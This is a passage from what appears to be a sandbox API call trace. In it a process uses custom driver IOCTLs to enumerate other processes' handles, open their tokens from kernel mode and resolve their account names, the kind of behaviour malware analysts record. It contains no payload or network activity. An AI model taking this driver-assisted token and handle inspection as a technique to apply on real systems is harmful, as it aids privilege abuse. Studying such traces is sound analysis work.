(Object=0xfffffa8001fc56e0) returned 0x1 [0137.260] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.260] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.260] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0137.261] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.261] PsAcquireProcessExitSynchronization () returned 0x0 [0137.261] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054735d0) [0137.261] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002018270, HandleInformation=0x0) returned 0x0 [0137.261] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.261] PsReleaseProcessExitSynchronization () returned 0x2 [0137.261] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0137.261] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.261] ObfDereferenceObject (Object=0xfffffa8002018270) returned 0x1 [0137.261] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.261] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.261] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.261] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.261] PsAcquireProcessExitSynchronization () returned 0x0 [0137.261] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054735d0) [0137.261] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.261] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.261] PsReleaseProcessExitSynchronization () returned 0x2 [0137.261] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0137.261] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.261] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.261] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.261] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.261] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3a4) returned 0xc0 [0137.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.261] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002015b30, HandleInformation=0x0) returned 0x0 [0137.261] ObOpenObjectByPointer (in: Object=0xfffffa8002015b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.261] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x12 [0137.261] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.262] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.262] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.262] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.262] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.263] CloseHandle (hObject=0xc8) returned 1 [0137.263] CloseHandle (hObject=0xc0) returned 1 [0137.263] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.263] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.263] PsAcquireProcessExitSynchronization () returned 0x0 [0137.263] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054735d0) [0137.263] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800201ae00, HandleInformation=0x0) returned 0x0 [0137.263] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.263] PsReleaseProcessExitSynchronization () returned 0x2 [0137.263] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0137.263] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.263] ObfDereferenceObject (Object=0xfffffa800201ae00) returned 0x1 [0137.263] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.264] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.264] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0137.264] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.264] PsAcquireProcessExitSynchronization () returned 0x0 [0137.264] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054735d0) [0137.264] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002015170, HandleInformation=0x0) returned 0x0 [0137.264] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.264] PsReleaseProcessExitSynchronization () returned 0x2 [0137.264] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0137.264] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.264] ObfDereferenceObject (Object=0xfffffa8002015170) returned 0x1 [0137.264] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.264] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.264] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.264] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.264] PsAcquireProcessExitSynchronization () returned 0x0 [0137.264] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880054735d0) [0137.264] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.264] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.264] PsReleaseProcessExitSynchronization () returned 0x2 [0137.264] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0137.264] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.264] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.264] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.264] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.264] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x54c) returned 0xc0 [0137.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.264] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020485e0, HandleInformation=0x0) returned 0x0 [0137.264] ObOpenObjectByPointer (in: Object=0xfffffa80020485e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.264] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x12 [0137.264] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.265] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.265] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.266] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.266] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.267] CloseHandle (hObject=0xc8) returned 1 [0137.267] CloseHandle (hObject=0xc0) returned 1 [0137.267] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.267] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.267] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.267] PsAcquireProcessExitSynchronization () returned 0x0 [0137.267] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054735d0) [0137.268] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002048d00, HandleInformation=0x0) returned 0x0 [0137.268] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.268] PsReleaseProcessExitSynchronization () returned 0x2 [0137.268] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0137.268] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.268] ObfDereferenceObject (Object=0xfffffa8002048d00) returned 0x1 [0137.268] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.268] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.268] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.268] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0137.268] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.268] PsAcquireProcessExitSynchronization () returned 0x0 [0137.268] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054735d0) [0137.268] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800204eca0, HandleInformation=0x0) returned 0x0 [0137.268] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.268] PsReleaseProcessExitSynchronization () returned 0x2 [0137.268] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0137.268] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.268] ObfDereferenceObject (Object=0xfffffa800204eca0) returned 0x1 [0137.268] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.268] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.268] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.268] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.268] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.268] PsAcquireProcessExitSynchronization () returned 0x0 [0137.268] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054735d0) [0137.268] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.268] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.268] PsReleaseProcessExitSynchronization () returned 0x2 [0137.268] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0137.269] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.269] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.269] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.269] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.269] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x220) returned 0xc0 [0137.269] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.269] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001fc6060, HandleInformation=0x0) returned 0x0 [0137.269] ObOpenObjectByPointer (in: Object=0xfffffa8001fc6060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.269] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x12 [0137.269] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.269] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.269] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.269] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.269] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.270] CloseHandle (hObject=0xc8) returned 1 [0137.270] CloseHandle (hObject=0xc0) returned 1 [0137.270] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.270] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.271] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.271] PsAcquireProcessExitSynchronization () returned 0x0 [0137.271] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054735d0) [0137.271] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800204e730, HandleInformation=0x0) returned 0x0 [0137.271] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.271] PsReleaseProcessExitSynchronization () returned 0x2 [0137.271] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0137.271] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.271] ObfDereferenceObject (Object=0xfffffa800204e730) returned 0x1 [0137.271] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.271] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.271] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.271] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0137.271] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.271] PsAcquireProcessExitSynchronization () returned 0x0 [0137.271] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054735d0) [0137.271] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800205dbb0, HandleInformation=0x0) returned 0x0 [0137.271] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.271] PsReleaseProcessExitSynchronization () returned 0x2 [0137.271] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0137.271] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.271] ObfDereferenceObject (Object=0xfffffa800205dbb0) returned 0x1 [0137.271] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.271] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.271] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.271] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.271] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.271] PsAcquireProcessExitSynchronization () returned 0x0 [0137.271] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054735d0) [0137.271] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.272] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.272] PsReleaseProcessExitSynchronization () returned 0x2 [0137.272] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0137.272] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.272] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.272] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.272] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.272] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x248) returned 0xc0 [0137.272] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.272] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002065b30, HandleInformation=0x0) returned 0x0 [0137.272] ObOpenObjectByPointer (in: Object=0xfffffa8002065b30, HandleAttributes=0x200, PassedAccessState=0x0, 